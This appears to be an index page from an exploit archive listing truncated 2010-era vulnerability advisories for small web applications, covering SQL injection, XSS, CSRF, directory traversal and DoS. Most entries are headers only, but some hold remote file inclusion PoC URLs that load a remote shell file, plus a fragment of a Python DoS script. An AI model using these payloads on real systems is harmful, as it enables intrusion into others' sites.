CSRF (Cross-Site Request Forgery) in Open blog

Vulnerability ID: HTB22763 Reference: http://www.htbridge.ch/advisory/csrfcrosssiterequestforgeryinopenblog.html Product: Open blog Vendor: K5 Storitve http://www.open-blog.info/ Vulnerable Version: 1.2.1 Vendor Notification: 15 December 2010 Vulnerability Type: CSRF Cross-Site Request Forgery...

ardeaCore 2.25 PHP Framework Remote File Inclusion

! Discovered: n0n0x ! Homepage: http://priasantai.uni.cc/ ! Remote: yes Hello gay x PoC: http://host/ardeaCorev2.25/ardeaCore/lib/core/ardeaInit.php?pathForArdeaCore=http://server/shell.tmp??? http://host/ardeaCorev2.25/ardeaCore/lib/core/ardeaBlog.php?CURRENTBLOGPATH=http://server/shell.tmp???...

HotWeb Rental SQL Injection

HotWeb Rentals "PageId" SQL Injection Vulnerability PRODUCT http://www.hotwebscripts.co.uk/ Input passed to the "PageId" parameter in default.asp is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. POC...

ardeaCore 2.25 - PHP Framework Remote File Inclusion

ardeaCore 2.25 - PHP Framework Remote File Inclusion ! Discovered: n0n0x ! Homepage: http://priasantai.uni.cc/ ! Remote: yes Hello gay x PoC: http://host/ardeaCorev2.25/ardeaCore/lib/core/ardeaInit.php?pathForArdeaCore=http://server/shell.tmp???...

QuickPHP Web Server 1.9.1 - Directory Traversal

------------------------------------------------------------------------ Software................QuickPHP Web Server 1.9.1 Vulnerability...........Directory Traversal Download................http://www.zachsaw.co.cc/?pg=quickphpphptesterdebugger Release Date............12/27/2010 Tested...

QuickPHP Web Server 1.9.1 Directory Traversal

------------------------------------------------------------------------ Software................QuickPHP Web Server 1.9.1 Vulnerability...........Directory Traversal Download................http://www.zachsaw.co.cc/?pg=quickphpphptesterdebugger Release Date............12/27/2010 Tested...

Mongoose 2.11 Denial Of Service

------------------------------------------------------------------------ Software................Mongoose 2.11 Vulnerability...........Denial Of Service Download................http://code.google.com/p/mongoose/ Release Date............12/27/2010 Tested On...............Windows XP...

Interact 2.4.1 SQL Injection Vulnerability

Exploit for php platform in category web applications Title : Interact 2.4.1 SQL Injection Affected Version : Interact l0rd D3lt4l0rD & Turb0 ,,,, email protected S.V.T :D 0day.today 2018-02-06...

Interact 2.4.1 - SQL Injection

Title: Interact 2.4.1 SQL Injection Title : Interact 2.4.1 SQL Injection Affected Version : Interact l0rd D3lt4l0rD & Turb0 ,,,, [email protected] S.V.T :D...

Social Share 2010-06-05 Cross Site Scripting

www.eVuln.com advisory: "search" - Non-persistent XSS in Social Share Summary: http://evuln.com/vulns/169/summary.html Details: http://evuln.com/vulns/169/description.html -----------Summary----------- eVuln ID: EV0169 Software: Social Share Vendor: n/a Version: 2010-06-05 Critical Level: low Typ...

WORDPRESS Plugin Accept Signups 0.1 XSS

Exploit for php platform in category web applications Exploit Title: WORDPRESS Plugin Accept Signups PERSISTENT XSS Date:21/12/2010 Author: clshack Software Link:http://wordpress.org/extend/plugins/accept-signups/ Version:0.1 Tested on: wordpress 3.03 CVE : Vulnerable code accept-signupssubmit.ph...

Windows 7 IIS7.5 FTPSVC UNAUTH'D Remote DoS PoC

Exploit for windows platform in category dos / poc import socket, sys print "\n" print "----------------------------------------------------------------" print "| Windows 7 IIS7.5 FTPSVC UNAUTH'D REMOTE DOS POC |" print "| Matthew Bergin, Bergin Penetration Testing |" print "| Win7 Ultimate v6.1...

Injader CMS Multiple Vulnerabilities

Exploit for php platform in category web applications Vulnerability ID: HTB22745 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityininjadercms1.html Product: Injader CMS Vendor: http://www.injader.com/ http://www.injader.com/ Vulnerable Version: 2.4.4 Vendor Notification: 07 December 20...

html-edit CMS Multiple Vulnerabilities

Exploit for php platform in category web applications Vulnerability ID: HTB22734 Reference: http://www.htbridge.ch/advisory/sqlinjectioninhtmleditcms.html Product: HTML-EDIT CMS Vendor: html-edit web services http://www.html-edit.org/ Vulnerable Version: 3.1.8 Vendor Notification: 02 December 201...

Hycus CMS Multiple Vulnerabilities

Exploit for php platform in category web applications Vulnerability ID: HTB22737 Reference: http://www.htbridge.ch/advisory/lfiinhycuscms.html Product: Hycus CMS Vendor: Hycus Web Development Team http://www.hycus.com/ Vulnerable Version: 1.0.3 Vendor Notification: 07 December 2010 Vulnerability...

Habari Blog Multiple Vulnerabilities

Exploit for php platform in category web applications Vulnerability ID: HTB22732 Reference: http://www.htbridge.ch/advisory/pathdisclosureinhabari.html Product: Habari Vendor: Habari http://habariproject.org/en/ Vulnerable Version: 0.6.5 Vendor Notification: 02 December 2010 Vulnerability Type:...

Hycus CMS 1.0.3 SQL Injection

Vulnerability ID: HTB22738 Reference: http://www.htbridge.ch/advisory/sqlinjectioninhycuscms.html Product: Hycus CMS Vendor: Hycus Web Development Team http://www.hycus.com/ Vulnerable Version: 1.0.3 Vendor Notification: 07 December 2010 Vulnerability Type: SQL injection Status: Not Fixed, Vendor...

SQL injection in Hycus CMS

Vulnerability ID: HTB22741 Reference: http://www.htbridge.ch/advisory/sqlinjectioninhycuscms3.html Product: Hycus CMS Vendor: Hycus Web Development Team http://www.hycus.com/ Vulnerable Version: 1.0.3 Vendor Notification: 07 December 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendo...

SQL injection in Hycus CMS

Vulnerability ID: HTB22739 Reference: http://www.htbridge.ch/advisory/sqlinjectioninhycuscms1.html Product: Hycus CMS Vendor: Hycus Web Development Team http://www.hycus.com/ Vulnerable Version: 1.0.3 Vendor Notification: 07 December 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendo...

XSS in HTML-EDIT CMS

Vulnerability ID: HTB22735 Reference: http://www.htbridge.ch/advisory/xssinhtmleditcms.html Product: HTML-EDIT CMS Vendor: html-edit web services http://www.html-edit.org/ Vulnerable Version: 3.1.8 Vendor Notification: 02 December 2010 Vulnerability Type: XSS Cross Site Scripting Status: Fixed by...